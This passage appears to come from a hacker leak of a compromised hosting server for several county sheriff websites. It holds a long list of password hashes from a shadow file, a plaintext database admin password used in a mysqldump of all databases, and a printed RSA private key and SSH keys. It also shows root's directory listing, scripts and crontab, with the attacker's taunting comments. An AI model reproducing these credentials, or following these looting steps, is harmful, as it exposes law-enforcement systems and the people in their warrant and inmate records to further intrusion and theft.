  1360. jcsd:$1$SR7NPa.y$bXGwoje29eCLh/jeptX7m.:14600:0:99999:7:::
  1361. gcsd:$1$ai7yamMR$JZPQccHWCGmMDeQFJ56eg0:14600:0:99999:7:::
  1362. izcg:$1$PpoAe8un$Tmmp4XEdNWUlJPSJv80Xj0:14600:0:99999:7:::
  1363. jocsd:$1$NRHv77bV$LA2Xex9kNa46frC/0ArlW1:14600:0:99999:7:::
  1364. scsd:$1$xKBlDTZE$.mpjBbZ0yHHsNcFCmu7pT0:14600:0:99999:7:::
  1365. bjm2:$1$IyEce8if$BFsLo9r.7HgTftQhJHGPh/:14600:0:99999:7:::
  1366. test:$1$/SMm0ODb$EX2C/eZ7Lo3BPfzIlZfBF0:14601:0:99999:7:::
  1367. bcsd_sync:$1$6WexrYqZ$3ROvk9LXiGIAjx/yMFgGc.:14601:0:99999:7:::
  1368. ccsal_synce:!!:14601:0:99999:7:::
  1369. ccsal_sync:$1$1R4G9HKN$0nsQSMPnDwPI8QwcOoB4x0:14601:0:99999:7:::
  1370. kluser:!!:14602:0:99999:7:::
  1371. tigeraccessftp:$1$vIx5yzLJ$QLvytS5blodUB69dx4Ff81:14607:0:99999:7:::
  1372. vbcsd:$1$Xa7IjTjy$EVOg0CDGrhKecE9tcEv0K1:14614:0:99999:7:::
  1373. jonms2:$1$UEKyybmq$V.KCuSAArIbZ97Rb3j.Gj.:14624:0:99999:7:::
  1374. ccsoks:$1$5Um4tVSe$nmmR1DwLGB1rVtilMJUnW.:14629:0:99999:7:::
  1375. crcg:$1$5W78GNCt$5AsiPm0MkUOaxLy7PZUbC.:14637:0:99999:7:::
  1376. tcsoms:$1$AUtRv.T/$8PAgYTEZNTkHAg29MuxxA.:14644:0:99999:7:::
  1377. hcsoks:$1$QNKj.3g8$a5XwX/ucCpz25QC.a7Yyr1:14650:0:99999:7:::
  1378. jcsoks:$1$rLe4qHgu$YVf.K6kRj5bzWE/bYYG2x/:14656:0:99999:7:::
  1379. mosa:$1$dIsYss8M$8wcFZe8f9xyrQg/M5fw2q.:14662:0:99999:7:::
  1380. pcsoks:$1$aOO/b7/y$fksYEq1P0ydvkBDACy7PN1:14678:0:99999:7:::
  1381. johms_sync:$1$JJOQW/Ub$KQcLsIuntNhvuT.IgHfr51:15140:0:99999:7:::
  1382. hcsar:$1$HRrStn03$JID8.6JAq3uO9Ea89sGWy/:14691:0:99999:7:::
  1383. hscar:$1$eT4u9sV5$1yfafNGVFeJLzHKIDnTPB.:14691:0:99999:7:::
  1384. pcsoia:$1$iA.cOgM7$bKcN9Md8bgaqgDOeWMLTk1:14692:0:99999:7:::
  1385. mcsd:$1$w8xq8Wiz$9h9Vmun9mouExbFw5TP9./:14701:0:99999:7:::
  1386. wsoks:$1$RA/aiiIn$vWff63MvT9OM6m/I9g/wI1:14718:0:99999:7:::
  1387. mosa2010bN:!!:14719:0:99999:7:::
  1388. mosa2010:$1$rkKGNbTJ$zuSXZpGmBGZmBLblIR..M0:14720:0:99999:7:::
  1389. faoret:$1$6FeVAWdI$5tdP6hddCUejnapF8SpSr.:14725:0:99999:7:::
  1390. bcso_tiger:$1$LY1S8HSQ$nmrLU.ZovFp/3SyDPqh/G.:14727:0:99999:7:::
  1391. stcsd:$1$pDRSTxFh$ZBvOBAFQ7LnFMjUdsa16g.:14728:0:99999:7:::
  1392. ccsoms:$1$2AcdfJU9$S7c4H4a0ySzzHVv1Xp8vT0:14736:0:99999:7:::
  1393. kcsoms:$1$9/UGCy/Q$v0YU2N4s6fJA1WRrnO4/y1:14743:0:99999:7:::
  1394. pcsoks_sync:$1$ZVgfXBYP$8/7JU659Rzy6AFMTsgUDk1:14753:0:99999:7:::
  1395. mocsd:$1$ruYfFxnn$THY1iwfnln5fIWJEZ.xuI1:14754:0:99999:7:::
  1396. postfix:!!:14768::::::
  1397. bcsoga:$1$um3cyDMU$iyb6m61oqCGNxsBoFTLP2/:14770:0:99999:7:::
  1398. jonms_sync:$1$ox9q2AUv$Z.PKJVfV6wBqkdE27vbNw/:14771:0:99999:7:::
  1399. jcsoks_sync:$1$XkeeIlA/$6H68JaLVbeKNw7YGOOkX31:14790:0:99999:7:::
  1400. cpsola:$1$NwWGtomq$jgAUVRm6VBvGSujRtKwF31:14806:0:99999:7:::
  1401. cgsomo:$1$eilIGZWl$eLznlmIdX3xApkdWmpsnT.:14810:0:99999:7:::
  1402. sfsoar:$1$yOE1lcCf$GUu9M1fczt1Ghc764zw/30:14824:0:99999:7:::
  1403. sfsoar_sync:$1$nxHb55iY$vFvZhr1ruVHu/4U981Jk2.:14826:0:99999:7:::
  1404. code:$1$iqeHXuMI$4vRAcEszoYdstIN3RMgx60:14837:0:99999:7:::
  1405. fcsoga:$1$T2d2gmYb$FFMQvYx7VRTFEtMtYzENj1:14841:0:99999:7:::
  1406. mcsoga:$1$sU6wEv93$dY7TnQIfrf7CNtxrb1BHv0:14852:0:99999:7:::
  1407. code2:$1$j9vWcrHj$ackLsXxNqZYDlHGs9EfTJ/:14853:0:99999:7:::
  1408. kcsoil:$1$RktuLOY5$rqG9aojQ7QPev715Sziym0:14855:0:99999:7:::
  1409. mcsoal:$1$DfHeInc2$tl5Z3EJ5cbpEI7PAi..nR.:14874:0:99999:7:::
  1410. sgsomo:$1$ofmWWjSo$VdSaYP7i5Mq3TaigZKJmY/:14879:0:99999:7:::
  1411. gcsoms:$1$GwuFixxs$ar2pJ.ZaG9F/zahcjl0JP0:14879:0:99999:7:::
  1412. stoms:$1$VRmMMzI7$x1nr.ZMBdSv7VOng/TpX//:14897:0:99999:7:::
  1413. hcsar_sync:$1$k8HSpdqc$5G8/PJOdzeQN8W2VKJj461:14901:0:99999:7:::
  1414. alsa:$1$0D1HLRSq$6mKb1LEmHoM/q2HhpXSjq/:14902:0:99999:7:::
  1415. pcsoar:$1$HxfuMiMY$bAapp8diWD1nSOjkTEqNx/:14917:0:99999:7:::
  1416. rcsd:$1$9poK4hQN$gzorj3zcz7dpG21M45ai5.:14921:0:99999:7:::
  1417. tisoms:$1$wXhmWMjs$EARUykep59RVk3KBNLIay/:14924:0:99999:7:::
  1418. stoms_sync:$1$TEYhWb2S$dYeYk0rb/sqikIaqqovuR/:14945:0:99999:7:::
  1419. prsoar:$1$ZIuKGFWZ$b9QSyf2DPsYbBm/pNe.WP1:14952:0:99999:7:::
  1420. mcsd_sync:$1$b1gA3kVg$Rg3yF/yRG.A/YEM4idaXW1:15001:0:99999:7:::
  1421. jccgms:$1$52kEGL60$J3C2CN/1fq4b.nD1EaNHP1:15009:0:99999:7:::
  1422. ccsook:$1$amm2tffa$XaIWUbOY47Dr02lvTWEFf/:15056:0:99999:7:::
  1423. fcsoar:$1$W74MwMzz$QuYSprTouxtkRx/wKgIJL1:15057:0:99999:7:::
  1424. poalac:$1$q.RuXO6m$C/hJSOR8TUzP5iZvmh3vc1:15085:0:99999:7:::
  1425. arsa:$1$dY5DsE1V$aGJWYgu9pj.kO0gQ14zpd0:15097:0:99999:7:::
  1426. rcpica:$1$CXfW/jiM$PrVYk8La/RySYfT0FeMRI/:15100:0:99999:7:::
  1427. ciga:$1$QTWBjVx9$zs4DkuPeQ7IuyaFtXby3B.:15113:0:99999:7:::
  1428. sfcgar:$1$GqNHP49J$0idVp0wiWtAcd848aWI5O/:15131:0:99999:7:::
  1429. lcsomo:$1$ptPfDVG3$nvwb9D.toLPBP1NsCRbNs1:15132:0:99999:7:::
  1430. tcsoal:$1$0oUtGUJd$dAyePg9xnfh2dNDHRr/s80:15134:0:99999:7:::
  1431. jwiegand:$1$F.H2Vzt/$BzID0ITAA2LtVZ99e5anu.:15135:0:99999:7:::
  1432. bcsf:$1$pznU6Acd$jDjShBfJXAE3YUdsF7W140:15135:0:99999:7:::
  1433. prsoms:$1$NpevRywM$.lnU4tjwBZNx5DyzQ5e8e0:15135:0:99999:7:::
  1434. acsoms:$1$rRiyYAkw$a9FJbLJJZgcWYgdUX5m/B.:15147:0:99999:7:::
  1435. kssa:$1$QJmmY.q8$GKzc4XMppwpKPbPVkI/1H1:15149:0:99999:7:::
  1436.  
  1437. // YOU KNOW WHAT IT IS, ITS A STICKUP
  1438.  
  1439. # ls -al ~root
  1440. total 420776
  1441. drwxr-x--- 17 root root 4096 Jul 22 11:37 .
  1442. drwxr-xr-x 26 root root 4096 Feb 22 22:21 ..
  1443. drwxr-xr-x 2 root root 4096 Nov 30 2010 .autoinstaller
  1444. -rw------- 1 root root 19127 Jul 21 15:58 .bash_history
  1445. -rw-r--r-- 1 root root 24 Jan 6 2007 .bash_logout
  1446. -rw-r--r-- 1 root root 191 Jan 6 2007 .bash_profile
  1447. -rw-r--r-- 1 root root 176 Jan 6 2007 .bashrc
  1448. -rw-r--r-- 1 root root 121 Sep 2 2010 .cshrc
  1449. -rw-r--r-- 1 root root 9 Feb 10 10:28 .exrc
  1450. -rw------- 1 root root 686 Jul 20 13:03 .lesshst
  1451. -rw------- 1 root root 1739 Jul 20 10:29 .mysql_history
  1452. -rw-r--r-- 1 root root 91 Dec 23 2009 .pearrc
  1453. -rw------- 1 root root 1024 May 3 09:00 .rnd
  1454. drwx------ 2 root root 4096 Mar 12 2010 .spamassassin
  1455. drwx------ 2 root root 4096 Jan 25 13:27 .ssh
  1456. -rw------- 1 root root 276 Jul 20 10:44 .support_history
  1457. -rw-r--r-- 1 root root 150 Sep 2 2010 .tcshrc
  1458. -rw-r--r-- 1 root root 1143587 Jul 22 11:50 BOCS_warrant_query.sql
  1459. -rw-r--r-- 1 root root 187976 Jul 22 11:45 CRCSD_warrant_query.sql
  1460. -rw-r--r-- 1 root root 3543 Feb 23 09:42 Chicago
  1461. drwxrwxrwx 17 20 games 4096 Dec 30 2009 ImageMagick-6.4.8-3
  1462. -rw-r--r-- 1 root root 11148165 Apr 9 2009 ImageMagick-6.4.8-3.tar.gz
  1463. drwxr-xr-x 2 root root 4096 Jul 14 15:15 MASS_PASS
  1464. -rw-r--r-- 1 root root 94158 Dec 13 2010 MCSOAL.search
  1465. -rw-r--r-- 1 root root 1501473 Jul 22 11:48 SFSOAR_warrant_query.sql
  1466. -rw------- 1 root root 742 Feb 4 2008 anaconda-ks.cfg
  1467. drwxr-xr-x 2 root root 4096 Jun 21 15:31 bin
  1468. drwxr-xr-x 2 root root 4096 May 3 09:53 cert
  1469. -rw-r--r-- 1 root root 1898 May 3 09:09 csr.txt
  1470. drwxr-xr-x 3 root root 4096 Sep 20 2010 downloads
  1471. -rw-r--r-- 1 bocg psacln 0 Jun 21 14:23 huh
  1472. -rw-r--r-- 1 root root 1177 Mar 24 08:50 injection_patch.php
  1473. -rw-r--r-- 1 root root 1182 Mar 24 08:50 injection_patch.php.bak
  1474. -rw-r--r-- 1 root root 13552 Feb 4 2008 install.log
  1475. -rw-r--r-- 1 root root 2540 Feb 4 2008 install.log.syslog
  1476. -rwxrwxrwx 1 mosa psacln 803 Mar 24 2010 log.php
  1477. -rw------- 1 root root 1733 Nov 30 2010 mbox
  1478. -rw-r--r-- 1 root root 93 Aug 23 2010 md5look.php
  1479. -rw-r--r-- 1 root root 36773929 Jul 21 22:04 mysql_backup.sql.gz
  1480. -rw-r--r-- 1 root root 133498898 Jul 1 08:17
  1481. mysql_dump_20110701-081158.sql.gz
  1482. -rw-r--r-- 1 root root 144511936 Jul 8 10:59
  1483. mysql_dump_20110708-104506.sql.gz
  1484. -rw-r--r-- 1 root root 37564532 Jul 15 06:04
  1485. mysql_dump_20110715-060000.sql.gz
  1486. -rw-r--r-- 1 root root 38461089 Jul 22 11:18
  1487. mysql_dump_20110722-111716.sql.gz
  1488. drwxr-xr-x 2 root root 4096 Jun 20 09:46 p7zip
  1489. -rwxrwxrwx 1 mosa psacln 475 Mar 24 2010 parse_geocodes.php
  1490. -rw-r--r-- 1 root root 7164 Jul 5 14:20 perms.log
  1491. drwxr-xr-x 14 1002 1002 4096 Aug 23 2006 php-5.1.6
  1492. -rw-r--r-- 1 root root 8187896 Aug 23 2006 php-5.1.6.tar.gz
  1493. -rw-r--r-- 1 root root 21 Apr 22 10:16 phpinfo.php
  1494. drwxr-xr-x 9 root root 4096 Jul 21 16:24 psa
  1495. drwxrwxr-x 2 510 510 4096 Jun 3 2010 qmhandle-1.3.2
  1496. -rw-r--r-- 1 webdept webdept 15423 Apr 12 2010 qmhandle-1.3.2.tar.gz
  1497. -rw-r--r-- 1 root root 4293 Jun 21 17:48 recaptcha.log
  1498. -rw-r--r-- 1 root root 9751 Jun 21 16:04 recaptchalib.php
  1499. -rw-r--r-- 1 root root 9751 Jun 21 16:04 recaptchalib.php.bak
  1500. -rw-r--r-- 1 root root 9747 Jun 21 15:56 recaptchalib.php.bak.bak
  1501. drwxr-xr-x 3 root root 4096 Dec 21 2009 rootkit_checks
  1502. drwxr-xr-x 2 root root 4096 Jul 20 11:01 scripts
  1503. -rw-r--r-- 1 root root 32 Jun 21 14:54 sete.sh
  1504. -rw-r--r-- 1 root root 355812 Jun 21 14:22 tat E
  1505. drwxr-xr-x 6 root root 4096 Jun 21 15:38 tiny_mce
  1506. -rw-r--r-- 1 root root 2231 Jun 21 11:02 tiny_mce.php
  1507. -rw-r--r-- 1 root root 8957 Jun 21 14:50 tinymce.log
  1508. -rw-r--r-- 1 root root 6101 Jun 21 15:10 tinymce_php.log
  1509. -rw-r--r-- 1 root root 1141875 Jun 29 18:20 warrant_query.sql
  1510. -rw-r--r-- 1 root root 15503360 Jul 22 01:32 z
  1511.  
  1512. // FIRST LETS LOOT THIS MOFO
  1513.  
  1514. # mysqldump -q -u admin -p8w667nHzx%XFXb --all-databases --add-drop-table >
  1515. booty.sql
  1516.  
  1517. // GIMME THE KEYS TO YO HOUSE
  1518.  
  1519. # cat ~root/.ssh/*
  1520. ssh-rsa
  1521. AAAAB3NzaC1yc2EAAAABIwAAAQEA68pUVD3lTeQE5yDAWFOprdg05lmD0eaRznMwDgrAiZhhTEH/
  1522. D0crQDXJN5avBKIf1WdKBIi/AL7jlw4++CAdidYt1ZQ4VEQy3NVyVHqXmI/
  1523. FtE2sCjUlE8ID2u5Mm5X8Xf57ifkXlrSF6HgLwa8P4KxP3HqrZNgb93hRwP/
  1524. VPLkNA7Ef6pkjCMpcOtE0qYynDLswAQhW9abqhiCeWaHHPPTRwjlk0r/vHPwBns777pj5UgU3RkUG9/
  1525. 1X70tKdZJR5Mp961WDGy3sC7Qi0hiM/
  1526. A3tRdo2NKpiZje0oRX3x8WH69vO9ZITeYcxcfu0o9AwiIVHzxJ/DmzFGbRtZ3W/Hw==
  1527. root@ip-72-167-49-108.ip.secureserver.net
  1528. ssh-dss
  1529. AAAAB3NzaC1kc3MAAACBAO/Ikm7ZPgaBYr1OlCnI4h82hB2pEppq24r+VR7/
  1530. MVdKMKmUsQWYvZQG4CPphcXfUEY2sxBbAfSp53eR4AtBYomspYREzF045+
  1531. dgtLj2o7MjDYacAt4KpjuxzglGT2H4hyRhz3fWJSzyubpeeb09nPDNxXOg0l/
  1532. hJgPJWi8XjSj7AAAAFQD9MwyYL/
  1533. DDniuYXNRBcaAAGEXl2wAAAIEAneCU3pUZ44NFoOqQF74GZjbb0XW8r6vVCwCMpoW1F3H5OcDxMSDUOE
  1534. iZTil70hIQBelB8cus3xzn9NBQx/s/47Sb655IRYZDMWU8rwGzTP7U9/
  1535. AiciF0sLrKsyqpbNLlDl79b9wBEkkpO6ELJDPYHK0cVfD0gReeG/vhnQbXYcEAAACBAKrwVdO/
  1536. 7dFdKX9wZzvzA89DLWx1lpIJmbteKzsmIIAoJJgfw7gITb0hKnaRw8v5xQgmC379VRfWC31feB4dORrj
  1537. njKLQLjBiu8jHeL+WqQ/vp/Fg9XhioLDwWHUb5iVrv0VeRbn8Q//
  1538. ltLrbBcqD0dslZ1nRN8i0NCY11B5ubq3 root@ip-72-167-49-122.ip.secureserver.net
  1539. -----BEGIN RSA PRIVATE KEY-----
  1540. MIIEowIBAAKCAQEAwIP5sXbYS2wsbN8nFPHLzF2qHi/A/eRBcO8CrAtYk8akXpG7
  1541. ROZUdqlD/LnOfjykC+gv8qi8lWrnU9p/p5VjY8Gcv1JWLAfv5+GeA5bFnOpf1ZD7
  1542. gvUdFQXzK5JcFH0V03sJkV1m/oRHQ+V6t7HxTRfiaXLuuT/PCxo4tUuxeaOBJaWd
  1543. 2sLYQaPOb6z27UDafPPg7o7mO0HPCxDSsPW07P0s+xB5QCsk84cFchImi8oZyPwK
  1544. 6ySGvtY0YQRTE1Ixek86d/UM64PY/R5QvXy61FfbnVqlfbD5LbXM+6yLxhxSeHUy
  1545. MGpWkXRMrhroA71e1T68rHZU7qoALHZrdsL8hQIBIwKCAQEAn4NLO0U232hCERCr
  1546. Wn8z1TeqNkTTG4Kcn2bzld2D6Cg/DIdgps15Lx6IyhZMAjI+yAmG0F/stlFDVBtx
  1547. FdOM3aBr7vsUMxyE81SKPXzs4Rn3olOOkRQ8qwTuDijP87gZZhV89Mm7vPFCXNQV
  1548. OR5o2XowoIPNHSY91f/IljdnKkQ05862XywXDqKA4ZURgs2WhCSCGU+bMQ/HcrXx
  1549. whUi5tWgAH9JTd8cVHbTFNHS9nyf3rsqoKsPjUJZot+RpvBzUk75VsKxEm/NpPUz
  1550. foMVR/H0vHl1Y5rv6P0fLzBPUBPBSqM94ELa3niBgsOJsdmzWGUnuZjoYX2Q5RCD
  1551. qa5NHwKBgQDscK4JiSdSh7egaKrFqpDECVR3PtE0gsluxT0am6UmrelZIlILmfFf
  1552. a3J3QHnGzSPuIJit1Px1su5Jt6qwc2R98DRmGgb2n8BHdNQTU1bpmD4K9iwMD8fx
  1553. 5bPNLcC69xKD9TSDS6FaHQRHdLnpwuho3m5mlbGISlVOCtU8/yTnUwKBgQDQcQ/B
  1554. CuHlfB86NIwTTIvTjYUBotk0NqMgHHyLeoZ+mz4kZWKZl7Dp9gC7lA3ljFZh4jIG
  1555. VD8hlmLflVSjY7EFDEjB7GQ3wsEMGXqVVd/jsE4TNnizehxhUh/0pp/bBHZg0OWZ
  1556. Lmak2rJxvt7uI5Bs9g+huy+Q3zi8oz3NW2HJxwKBgQDYLIHc1StEJFAdoYYxEPli
  1557. xrOgOW7Q7Jro7tjH3sLhiQ/cdyZxAca9pBDiDxBAu46QktS8MHHKsjjy8REWWt+J
  1558. FiFHaEDhfB2DKPxpcMR9zQWGXWoZqAdDkC9cgZpEih+Olwtwui0fMHjw37/rquMe
  1559. DTG84KJQuP2JLnnRXk2gSwKBgQDEh9unYggwJJJ4tTOdKuo8fh5R//FdHZJ9XK/x
  1560. OQJ3Xyv2bjhk7hvVRwgBURRqt4Slbt61gqHsd9mQ+oMAc/AMEuWDpF59t6ASuO/r
  1561. 40DPXRZp4ubVG1yWRh4hL2OFW/qVzEYxV6Kbbx1GrKZOPsoAVbb3kzt59wmb6l7X
  1562. kKyoTQKBgEtKR9eP5drKiFtGbanMoe4R01yeoda8GcbHenuW8f4+SIzXS0BRYDMG
  1563. JccKz/XyIk+uxGS+qRDWUS3KFWz8/PUEpLOAEuCv45GpyUVb6XS7O6dn6uVRwEUr
  1564. UYo6Q+HxQ0ZvBOxtG/usuR0ykiV60GuTxjxVXE6urOWSaypWOaUc
  1565. -----END RSA PRIVATE KEY-----
  1566. ssh-rsa
  1567. AAAAB3NzaC1yc2EAAAABIwAAAQEAwIP5sXbYS2wsbN8nFPHLzF2qHi/A/
  1568. eRBcO8CrAtYk8akXpG7ROZUdqlD/LnOfjykC+gv8qi8lWrnU9p/p5VjY8Gcv1JWLAfv5+
  1569. GeA5bFnOpf1ZD7gvUdFQXzK5JcFH0V03sJkV1m/oRHQ+V6t7HxTRfiaXLuuT/
  1570. PCxo4tUuxeaOBJaWd2sLYQaPOb6z27UDafPPg7o7mO0HPCxDSsPW07P0s+
  1571. xB5QCsk84cFchImi8oZyPwK6ySGvtY0YQRTE1Ixek86d/UM64PY/R5QvXy61FfbnVqlfbD5LbXM+
  1572. 6yLxhxSeHUyMGpWkXRMrhroA71e1T68rHZU7qoALHZrdsL8hQ==
  1573. root@ip-97-74-115-143.ip.secureserver.net
  1574. 72.167.49.114 ssh-rsa
  1575. AAAAB3NzaC1yc2EAAAABIwAAAQEAnNcO5j+
  1576. xTWrszbZLZ7pdvvqTumaACzgJNW773NBt8laQEq0HUDfdt3tg5LpaIWQTOBD45jjkyiM2QNJq9CliNfJ
  1577. BnOajtUI90IN2M3xK78ihiHAsp4jdX6kKcpyQrffQ5i8fDllfQmcD/
  1578. 7gndTzo273l8BmhQnvIxOTZwGcQPCnylQ7mxmV/KmRUF5uvo2dAkxSZnmOyDEMZLAAcic/+
  1579. 98cBbxpXu4154ZLG8pXAJ3ASzm7oC4KsC0T2eFt6Um3/BVNMydFc9KiVbyBy4mUda8/
  1580. icvq90TYue3wXWIGwhIPMafSHst6SVAo1m9KLsCA3y1FbHEwK6YzUVi0ZtNmfRw==
  1581. 72.167.49.108 ssh-rsa
  1582. AAAAB3NzaC1yc2EAAAABIwAAAQEA6QYFzjOfwhDhJbKf7tN3CcP2VN5euOPRtuDEtuo8Hm4loFsKsVu/
  1583. Z4AAObT4nhksaowpND8vzfGikitgZibICYLlMcx8JjHFKaaqmbVYocVdm8HpHmYAvII3BJkIZJ9hT7IR
  1584. hp1bc4z/KeUgDVquCR4ak4f4hL9eY0w8Cxc3oM/jYw/bFg+nIBs0dctch3Pw/
  1585. 4pREyBPO8p2BReWI7WlcA1i4NdzhoevE+
  1586. 2qsvMzVWp7HGCIGOQDKgbBL65m2bJrDOZELrvDcBcdrogIpqLO6kSXOnjjVKdcT7zpQuFPR+7wj6t/
  1587. fyMcYPx80XmaDzKbGbNpHSPVsKTJsHqh+NRnqQ==
  1588. ssh-dss
  1589. AAAAB3NzaC1kc3MAAACBAO/Ikm7ZPgaBYr1OlCnI4h82hB2pEppq24r+VR7/
  1590. MVdKMKmUsQWYvZQG4CPphcXfUEY2sxBbAfSp53eR4AtBYomspYREzF045+
  1591. dgtLj2o7MjDYacAt4KpjuxzglGT2H4hyRhz3fWJSzyubpeeb09nPDNxXOg0l/
  1592. hJgPJWi8XjSj7AAAAFQD9MwyYL/
  1593. DDniuYXNRBcaAAGEXl2wAAAIEAneCU3pUZ44NFoOqQF74GZjbb0XW8r6vVCwCMpoW1F3H5OcDxMSDUOE
  1594. iZTil70hIQBelB8cus3xzn9NBQx/s/47Sb655IRYZDMWU8rwGzTP7U9/
  1595. AiciF0sLrKsyqpbNLlDl79b9wBEkkpO6ELJDPYHK0cVfD0gReeG/vhnQbXYcEAAACBAKrwVdO/
  1596. 7dFdKX9wZzvzA89DLWx1lpIJmbteKzsmIIAoJJgfw7gITb0hKnaRw8v5xQgmC379VRfWC31feB4dORrj
  1597. njKLQLjBiu8jHeL+WqQ/vp/Fg9XhioLDwWHUb5iVrv0VeRbn8Q//
  1598. ltLrbBcqD0dslZ1nRN8i0NCY11B5ubq3 root@ip-72-167-49-122.ip.secureserver.net
  1599.  
  1600.  
  1601. // NOW LETS SEE WHAT YOU WORKING WITH
  1602.  
  1603. # cat ~root/scripts/*
  1604.  
  1605. #!/bin/sh
  1606. datex=$(date +'%Y%m%d-%H%M%S')
  1607. file=mysql_dump_$datex.sql.gz
  1608. echo Backup is $file
  1609. PASSWORD=`cat /etc/psa/.psa.shadow`
  1610.  
  1611. mysqldump -q -u admin -p$PASSWORD --all-databases --add-drop-table | gzip >
  1612. ~/$file
  1613. 0,15,30,45 * * * * /usr/local/psa/admin/sbin/backupmng >/dev/null
  1614. 2>&1
  1615. 0 1 * * 1 /usr/local/psa/libexec/modules/watchdog/cp/secur-check
  1616. 0 1 * * 1 /usr/local/psa/libexec/modules/watchdog/cp/send-report
  1617. weekly
  1618. 10 1 * * * /usr/local/psa/libexec/modules/watchdog/cp/clean-
  1619. sysstats
  1620. 15 1 * * * /usr/local/psa/libexec/modules/watchdog/cp/pack-
  1621. sysstats day
  1622. 15 1 * * 1 /usr/local/psa/libexec/modules/watchdog/cp/pack-
  1623. sysstats week
  1624. 15 1 1 * * /usr/local/psa/libexec/modules/watchdog/cp/pack-
  1625. sysstats month
  1626. 15 1 1 * * /usr/local/psa/libexec/modules/watchdog/cp/pack-
  1627. sysstats year
  1628. 20 1 * * * /usr/local/psa/libexec/modules/watchdog/cp/clean-
  1629. events
  1630. 0 3 * * 7 /usr/local/psa/libexec/modules/watchdog/cp/clean-
  1631. reports
  1632. 0 22 * * * /root/scripts/mySQLbackup.sh | mail -s
  1633. "mySQL Backup" test@mostwantedwebsites.net
  1634. 50 23 * * * /usr/bin/rsnapshot daily
  1635. 40 23 * * 6 /usr/bin/rsnapshot weekly
  1636. 0 1 * * * /usr/bin/php
  1637. /var/www/vhosts/baxtercountysheriff.com/httpdocs/admin_dymin/modules/most_wanted
  1638. /config/delete_cron.php
  1639. */5 * * * * /usr/bin/php
  1640. /var/www/vhosts/baxtercountysheriff.com/home/parse_xml.php >/dev/null 2>&1
  1641. */5 * * * * /usr/bin/php
  1642. /var/www/vhosts/lawrencecosheriff.com/home/parser.php >/dev/null 2>&1
  1643. #*/5 * * * * /usr/bin/php
  1644. /var/www/vhosts/mostwantedwebsites.net/subdomains/lawmo/httpdocs/home/parser.php
  1645. >/dev/null 2>&1
  1646. */5 * * * * /usr/bin/php
  1647. /var/www/vhosts/cherokeecountyalsheriff.com/home/parser.php >/dev/null 2>&1
  1648. */5 * * * * /usr/bin/php
  1649. /var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
  1650. /backup/johms_parse_log.txt
  1651. */5 * * * * /usr/bin/php
  1652. /var/www/vhosts/stonecountymosheriff.com/home/parse_roster.php >>
  1653. /backup/stoms_parse_log.txt 2>&1
  1654. */5 * * * * /usr/bin/php
  1655. /var/www/vhosts/crosscountysheriff.org/home/Cross\ County/parse_pcv.php
  1656. >/dev/null 2>&1
  1657. */5 * * * * /usr/bin/php
  1658. /var/www/vhosts/boonesheriff.com/home/parse_pcv.php >/dev/null 2>&1
  1659. */16 * * * * /usr/bin/php
  1660. /var/www/vhosts/crosscountysheriff.org/home/Cross\ County/warrant_parser.php
  1661. >/dev/null 2>&1
  1662. */15 * * * * /usr/bin/php
  1663. /var/www/vhosts/boonesheriff.com/home/warrant_parser.php >/dev/null 2>&1
  1664. */15 * * * * /usr/bin/php
  1665. /var/www/vhosts/tunicamssheriff.com/httpdocs/RPC/test.php >/dev/null 2>&1
  1666. */10 * * * * /usr/bin/php
  1667. /var/www/vhosts/jonesso.com/home/parse.php >> /backup/JONMS_INMATE_ROSTER.log
  1668. 2>&1
  1669. */15 * * * * /usr/bin/php
  1670. /var/www/vhosts/prattcountysheriff.com/home/parse_roster.php >/dev/null 2>&1
  1671. */15 * * * * /usr/bin/php
  1672. /var/www/vhosts/prattcountysheriff.com/home/parse_warrants.php >/dev/null 2>&1
  1673. */15 * * * * /usr/bin/php
  1674. /var/www/vhosts/jeffersoncountykssheriff.com/home/parse_roster.php >>
  1675. /backup/jcsoks_inamte_parse_log.txt
  1676. */5 * * * * /usr/bin/php
  1677. /var/www/vhosts/stfranciscountysheriff.org/home/parse_pcv.php >/dev/null 2>&1
  1678. */5 * * * * /usr/bin/php
  1679. /var/www/vhosts/howardcountysheriffar.com/home/parse_pcv.php >/dev/null 2>&1
  1680. 0 6 * * * /usr/bin/php
  1681. /var/www/vhosts/baxtercountysheriff.com/httpdocs/admin/publish_roster.php
  1682. >/dev/null 2>&1
  1683. 5 6 * * * /usr/bin/php
  1684. /var/www/vhosts/crosscountysheriff.org/httpdocs/admin/modules/inmate_roster/
  1685. publish.php >/dev/null 2>&1
  1686. 10 6 * * * /usr/bin/php
  1687. /var/www/vhosts/cherokeecountyalsheriff.com/httpdocs/admin/modules/inmate_roster
  1688. /publish.php >/dev/null 2>&1
  1689. 15 6 * * * /usr/bin/php
  1690. /var/www/vhosts/lawrencecosheriff.com/httpdocs/admin/modules/inmate_roster/
  1691. publish.php >/dev/null 2>&1
  1692. 20 6 * * * /usr/bin/php
  1693. /var/www/vhosts/tunicamssheriff.com/httpdocs/admin/modules/inmate_roster/publish
  1694. .php >/dev/null 2>&1
  1695. 30 6 * * * /usr/bin/php
  1696. /var/www/vhosts/boonesheriff.com/httpdocs/admin/modules/inmate_roster/publish.
  1697. php >/dev/null 2>&1
  1698. 0 10 * * * /usr/bin/php
  1699. /var/www/vhosts/prattcountysheriff.com/httpdocs/admin/modules/inmate_roster/
  1700. publish.php >/dev/null 2>&1
  1701. 25 6 * * * /usr/bin/php
  1702. /var/www/vhosts/jocomosheriff.org/httpdocs/admin/modules/inmate_roster/publish.
  1703. php >/dev/null 2>&1
  1704. 40 6 * * * /usr/bin/php
  1705. /var/www/vhosts/jeffersoncountykssheriff.com/httpdocs/admin/modules/
  1706. inmate_roster/publish.php >/dev/null 2>&1
  1707. 50 6 * * * /usr/bin/php
  1708. /var/www/vhosts/jonesso.com/httpdocs/admin/modules/inmate_roster/publish.php
  1709. >/dev/null 2>&1
  1710. 50 5 * * * /usr/bin/php
  1711. /var/www/vhosts/stfranciscountysheriff.org/httpdocs/admin/modules/inmate_roster/
  1712. publish.php >/dev/null 2>&1
  1713. 0 2 * * * /usr/bin/php
  1714. /var/www/vhosts/marionsoal.com/httpdocs/admin/modules/inmate_roster/cron/cron.
  1715. php
  1716. 40 1 * * * /usr/bin/find /var/www/vhosts/ -mtime -1
  1717. | /bin/grep -v statistics | /bin/grep -v counter 2>&1 | perl -wple 'BEGIN{print
  1718. "Changed Web Files - New GoDaddy"}'| mail -s "Changed Web Files - GoDaddy" -c
  1719. bnewman@bjmweb.com -c galexander@bjmweb.com -c markm@bjmweb.com root
  1720. 0 * * * * /usr/bin/find
  1721. /var/www/vhosts/*/httpdocs/uploads/*.php | grep -v -e
